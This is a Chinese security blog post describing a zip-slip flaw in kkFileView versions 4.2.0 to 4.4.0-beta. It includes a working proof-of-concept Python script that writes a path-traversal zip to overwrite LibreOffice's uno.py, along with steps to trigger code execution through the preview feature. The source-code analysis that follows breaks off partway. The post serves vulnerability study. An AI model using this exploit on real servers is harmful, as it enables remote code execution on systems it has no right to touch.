关注我们❤️,添加星标🌟,一起学安全!
作者:niko@Timeline Sec
本文字数:1774
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Keking kkFileView是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。kkFileViewv4.2.0至v4.4.0-beta版本之间存在安全漏洞,该漏洞源于组件CompressFilePreviewImpl#filePreviewHandle
存在zipslip漏洞,允许攻击者通过将精心制作的zip压缩包来覆盖任意文件,进而造成RCE危害。
0x02 漏洞概述
kkFileViewv4.2.0至v4.4.0-beta版本之间存在安全漏洞,该漏洞源于组件CompressFilePreviewImpl#filePreviewHandle
存在zipslip漏洞,允许攻击者通过将精心制作的zip压缩包来覆盖任意文件,进而造成RCE危害。
0x03 影响版本
v4.2.0<= kkFileView <= v4.4.0-beta
0x04 环境搭建
linux压缩包地址如下:
https://resource.kkview.cn/kkFileView-4.3.0.tar.gz
0x05 漏洞利用
三个文件:zip.py exp.txt sec.txt
同目录保存文件如下,其中sec.txt为任意内容即可:
zip.py
import zipfile
zipName = r"exp.zip"
fileName = r"sec.txt"
fileName2 = r"exp.txt"
zf = zipfile.ZipFile(zipName, 'w')
zf.write(fileName,'sec.txt') #fileName 文件名,sec.txt 压缩路径名称
zf.write(fileName2,'../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py')
zf.close()
exp.txt:rce命令内容为创建/tmp/rce文件夹
import os
os.makedirs("/tmp/rce", exist_ok=True)
此时/tmp文件夹中无内容
python3 zip.py
生成exp.zip,上传zip压缩包后,点击预览
创建一个odt后缀文件,内容随意。上传后点击预览
成功执行命令
0x06 漏洞分析
zipslip分析
因为在线文件预览无法在线预览其他url的zip文件,所以漏洞率先定位到文件上传处 文件上传接口cn.keking.web.controller.FileController#fileUpload
在58行会调用fileUploadCheck
函数对文件类型、文件名及是否为同名文件做安全检查,这里我们上传文件为zip能正常通过,因此不继续跟进 68-70行实现文件上传,此时文件被上传至fileDir+demoPath
路径下
分析在线预览接口cn.keking.web.controller.OnlinePreviewController#onlinePreview
函数,步入62行
入参url通过WebUtils.decodeUrl
解密(普通的base64解码)
解码后的fileurl传入至67行
fileHandlerService.getFileAttribute